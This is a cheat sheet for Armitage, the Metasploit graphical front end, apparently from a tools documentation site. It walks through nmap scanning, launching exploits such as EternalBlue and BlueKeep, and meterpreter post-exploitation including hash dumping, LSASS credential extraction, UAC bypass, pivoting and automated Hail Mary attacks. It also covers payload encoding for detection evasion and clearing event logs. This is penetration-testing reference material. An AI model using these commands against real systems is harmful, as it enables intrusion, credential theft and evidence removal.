콘텐츠로 이동

Armitage

Armitage is a graphical user interface for Metasploit Framework that simplifies penetration testing by visualizing target networks, automatically recommending exploits, and enabling collaborative team-based attacks. It abstracts Metasploit’s command-line complexity while exposing advanced post-exploitation features through an intuitive visual interface.

# Install prerequisites
sudo apt-get update
sudo apt-get install -y metasploit-framework postgresql openjdk-11-jdk-headless

# Start PostgreSQL
sudo systemctl start postgresql
sudo systemctl enable postgresql

# Download Armitage
wget http://www.fastandeasyhacking.com/download/armitage/armitage140728.tgz
tar xzf armitage140728.tgz
cd armitage
chmod +x armitage
# Install Metasploit Framework first
# Then download and extract Armitage
brew install metasploit-framework
wget http://www.fastandeasyhacking.com/download/armitage/armitage140728.tgz
tar xzf armitage140728.tgz
cd armitage
./armitage
# Ensure Metasploit Framework is installed
# Download Armitage executable or use installer
# Extract and run armitage.exe
# Ensure PostgreSQL service is running
# Initialize PostgreSQL database for Metasploit
sudo msfdb init

# Verify database connection
msfconsole -d
# Navigate to Armitage directory
cd /path/to/armitage

# Run Armitage (requires X11 on Linux)
./armitage

# Specify connection details if needed
./armitage --host 127.0.0.1 --port 55553
Connection MethodCommandDescription
Local RPCConnect automaticallyAuto-connects to localhost MSFRPCd
Remote RPCInput host & portConnect to remote Metasploit RPC server
Team ServerUse Team Server dialogCollaborate with other analysts
# Method 1: Use Armitage GUI
# 1. Hosts → New Window (or use nmap)
# 2. Select target network (e.g., 192.168.1.0/24)
# 3. Scan tab shows progress

# Method 2: Run nmap from command line before Armitage
nmap -sV -O 192.168.1.0/24 > hosts.txt

# Method 3: MSFConsole integration
# Use Metasploit's auxiliary scanners before loading into Armitage
OptionPurpose
Intense scanComprehensive OS detection & service version detection
Quick scanFast SYN scan for host discovery
Quick scan + UDPDetect UDP services (DNS, SNMP, DHCP)
CustomUser-defined nmap arguments
# Aggressive host discovery (Armitage imports these)
nmap -A -T4 192.168.1.0/24 -oX output.xml

# Service version detection
nmap -sV -p- 192.168.1.100

# OS fingerprinting
nmap -O 192.168.1.100

# UDP service discovery
nmap -sU -p 53,123,161,162,5353 192.168.1.100

# Specific service scan
nmap -p 21,22,25,80,139,445,3306 192.168.1.0/24
FormatCommandNotes
Nmap XMLFile → Import → Nmap XMLRecommended for automated import
NessusFile → Import → Nessus fileVulnerability scanner integration
Manual hostsHosts tab drag & dropManually add target IPs
# Once hosts are imported in Armitage:
# 1. Right-click target → Scan
# 2. View Services tab for discovered ports/services
# 3. Right-click services → Search exploits
# 4. Armitage ranks matches by success probability
Discovered PortCommon ServiceTypical Vulnerabilities
21FTPAnonymous login, weak credentials
22SSHWeak key exchange, version exploits
25SMTPOpen relay, user enumeration
80HTTPWeb application vulnerabilities
139NetBIOSSMB exploits, null sessions
445SMBEternalBlue, RCE exploits
3306MySQLWeak credentials, RCE
3389RDPBlueKeep, credential attacks
# Automatic recommendation (easiest)
# 1. Right-click target host
# 2. Select "Scan for exploits"
# 3. Armitage queries available exploits
# 4. View Hail Mary or filtered results

# Manual exploit search
# 1. Modules tab on left
# 2. Search by name or technique
# 3. Highlight → View info & options
StepActionDescription
1Target selectionRight-click host or service
2Exploit searchAuto-populate module based on service
3View optionsRHOST, RPORT, payload auto-filled
4Set payloadDefault usually meterpreter/reverse_tcp
5Configure LHOSTAuto-detected, verify correctness
6LaunchClick “Launch” to execute exploit
7InteractNew shell/meterpreter session created
# Windows SMB (445)
# Module: windows/smb/ms17_010_eternalblue
# Payload: windows/meterpreter/reverse_tcp

# Apache Struts (8080)
# Module: exploit/multi/http/struts2_rest_xstream
# Payload: java/meterpreter/reverse_tcp

# MySQL (3306)
# Module: exploit/mysql/mysql_udf_injection
# Payload: linux/x86/meterpreter/reverse_tcp

# RDP (3389)
# Module: exploit/windows/rdp/cve_2019_0708_bluekeep_rce
# Payload: windows/meterpreter/reverse_tcp
Payload TypeBest ForLHOST/LPORT Setup
reverse_tcpMost reliableLHOST = attacker IP, LPORT = free port
bind_tcpFirewall bypassRPORT = listener on target
reverse_httpProxy evasionLHOST = attacker IP, LPORT = 80/443
stagedSmall shellcodeUses multiple packets
# Once exploit succeeds, meterpreter session opens automatically
# Right-click session in Targets tab → Interact

# Common post-ex commands in meterpreter shell:
sysinfo                      # System information
getuid                       # Current user
getsystem                    # Attempt privilege escalation
ps                          # List processes
migrate [PID]               # Migrate to process (for stability)
screenshot                  # Capture desktop
webcam_snap                 # Capture webcam
hashdump                    # Extract SAM hashes (Windows)
Command TypePurposeSyntax
Interactive shellDirect command executionshell in meterpreter
Command executionSingle commandexecute -c cmd /c ipconfig
Script executionRun batch/PowerShellexecute -f script.ps1
Background jobsNon-blocking commandsbackground to suspend session
# Check current privileges
getuid

# Attempt local privilege escalation
getsystem

# Specific escalation modules (kernel exploits)
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
run

# Extract credentials
run post/windows/gather/hashdump
run post/windows/gather/credentials/credential_collector

# Dump LSASS process (Mimikatz-style)
load kiwi
creds_all
# From compromised host, discover internal network
ipconfig /all                # (Windows) View network config
ifconfig                     # (Linux) View network config

# Use Armitage to add discovered internal hosts
# Route through current session for further exploitation

# Create pivot through meterpreter
route add 10.0.0.0 255.255.255.0 [SESSION_ID]

# Run scanners through pivot
run auxiliary/scanner/smb/smb_version
# Download files from target
download C:\Windows\win.ini /tmp/win.ini

# Upload malware/tools
upload /path/to/tool.exe C:\Windows\Temp\tool.exe

# Traverse directories
cd C:\Users\Admin\Documents
ls
pwd

Cortana is Armitage’s built-in scripting language for automation and customization.

# Basic syntax - cortana language
on event_name {
    # code here
}

# Example: Custom menu item
popup targets "Custom Action" {
    println("Target: " . host($1));
}
# Auto-run exploit on discovered hosts
on beacon_initial {
    # Runs when new host discovered
    println("Found target: " . host($1));
    show_message("New host detected");
}

# Custom command menu
popup meterpreter "Run Privilege Escalation" {
    # Code executed on selected session
    local('$session');
    $session = $1;
    cmd_exec($session, "getsystem");
}
MethodCommandNotes
GUI menuArmitage → Scripts → LoadBrowse and load Cortana scripts
StartupAdd to ~/.armitage/startup.cortanaAuto-load on launch
Consolescripts/cortana/ directoryPre-packaged with Armitage
# Server machine runs MSFRPCd
msfconsole

# Alternative: standalone team server
./teamserver 192.168.1.100 password123

# Port default: 55553
# Each analyst connects via Armitage GUI
# 1. Click "Connect to Team Server"
# 2. Input server IP: 192.168.1.100
# 3. Input port: 55553
# 4. Input password: password123
# 5. Click "Connect"
FeatureBehaviorUse Case
Shared targetsAll analysts see hostsCoordinate scanning
Session sharingAll can interact with shellsCollaborative post-ex
ChatIn-Armitage messagingTeam communication
Event loggingAudit trail of actionsAccountability
PermissionsPassword-based accessSimple auth
# Use VPN for team server communication
# Restrict team server to trusted IPs only
# Change default password regularly
# Log all team activities
# Use separate analyst accounts where possible

Hail Mary is Armitage’s fully automated exploitation mode that attempts all available exploits against discovered hosts ranked by success probability.

# In Armitage GUI:
# 1. Hosts → Select target(s)
# 2. Attacks → Hail Mary
# 3. Configure payload (meterpreter usually default)
# 4. Click "Launch"
# 5. Watch automation run exploits systematically
# Edit Hail Mary options:
# Armitage → Preferences → Hail Mary
# - Set threads for parallel exploitation
# - Enable/disable specific exploit types
# - Configure payload handler port
ElementFunctionNotes
Target listShows exploitation statusColor coding: pending, running, success
LogsDetailed attempt historyReview failed exploits
SessionsNew shell/meterpreter createdAuto-interact on success
OutputReal-time feedbackWatch exploitation unfold
# Critical for meterpreter stability
# Migrate to stable system process (not user process)

# List processes
ps

# Migrate (avoids session death if app closes)
migrate 892  # explorer.exe on Windows

# Best targets: svchost.exe, services.exe, lsass.exe
Module CategoryExamplesPurpose
Encodersx86/shikata_ga_naiObfuscate payloads
Payloadsmeterpreter/reverse_tcpShellcode delivery
Postwindows/gather/hashdumpPost-ex automation
Auxiliaryscanner/smb/smb_versionInformation gathering
# Add custom-written Metasploit modules:
# 1. Place module in ~/.msf4/modules/exploits/custom/
# 2. Reload Armitage
# 3. Module appears in Modules tree
# 4. Use like any built-in exploit

# Example path:
~/.msf4/modules/exploits/custom/my_custom_exploit.rb
# 1. Network Discovery
# Hosts → New Hosts Window
# Input target range: 192.168.1.0/24
# Select "Intense scan"
# Wait for nmap results

# 2. Service Enumeration
# Right-click each host → Scan (or import nmap XML)
# Review Services tab for vulnerable services

# 3. Vulnerability Assessment
# Right-click service → Search exploits
# Review Hail Mary recommendations

# 4. Exploitation
# Select exploit → Configure payload → Launch
# Wait for meterpreter session

# 5. Post-Exploitation
# Right-click session → Interact
# Execute privilege escalation, credential dumping, pivoting

# 6. Network Pivot & Lateral Movement
# Repeat steps 1-5 for internal network
# Use current session as pivot proxy
# 1. Identify web servers (port 80, 443, 8080, 8443)
# 2. Use browser + Burp/OWASP ZAP alongside Armitage
# 3. Look for web-related exploits:
#    - Apache Struts
#    - JBoss JMXInvokerServlet
#    - WebLogic exploits
# 4. Launch web app exploits from Armitage
# 5. Post-ex with meterpreter from successful web exploit
# Once shell obtained:

# Windows credential harvesting
hashdump                    # Extract SAM
run post/windows/gather/hashdump
load kiwi
creds_all                   # Mimikatz-style dump

# Linux credential harvesting
cat /etc/passwd             # User enumeration
cat /etc/shadow             # (if root) Password hashes
run post/linux/gather/hashdump

# Pass-the-hash attacks with harvested credentials
# Use exploit/windows/smb/psexec with NTLM hash
IssueCauseSolution
”MSFRPCd connection refused”Metasploit not runningStart msfconsole or teamserver
Exploit fails silentlyTarget not vulnerableTry different exploit or verify service version
Meterpreter session diesProcess terminatedUse migrate to switch processes
GUI freezesLong-running operationIncrease Java heap size: -Xmx1024m
Nmap import failsMalformed XMLRe-run nmap with -oX flag
# Increase Java memory for large networks
./armitage -Xmx2048m

# Reduce thread count for stability
# Armitage → Preferences → General → Thread count = 5

# Clear database if corrupted
sudo msfdb delete
sudo msfdb init
# Enable debug output
./armitage --verbose

# Monitor Metasploit console directly
msfconsole
jobs -l                     # View background jobs
# Obfuscate payloads
use encoder/x86/shikata_ga_nai
set PAYLOAD windows/meterpreter/reverse_tcp
set ITERATIONS 5            # Multiple encoding passes

# Use encrypted channels
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.1.50
set LPORT 443               # HTTPS default (less suspicious)

# Staged vs. stageless payloads
# Staged = smaller initial shellcode, multi-stage download
# Stageless = larger but single-stage (better for detection evasion)
PracticeReasonImplementation
Use VPN for team serverHide attacker IPRoute all connections through VPN
Separate test networkAvoid detectionRun Armitage on isolated network
Log cleanupEvidence removal(post-exploitation) Clear event logs
Session rotationAvoid detectionPeriodically re-exploit for new sessions
ResourceURLPurpose
Armitage Websitefastandeasyhacking.comOfficial documentation & tutorials
Metasploit docsdocs.metasploit.comFramework reference
MITRE ATT&CKattack.mitre.orgExploit technique mapping
Exploit-DBexploit-db.comExploit database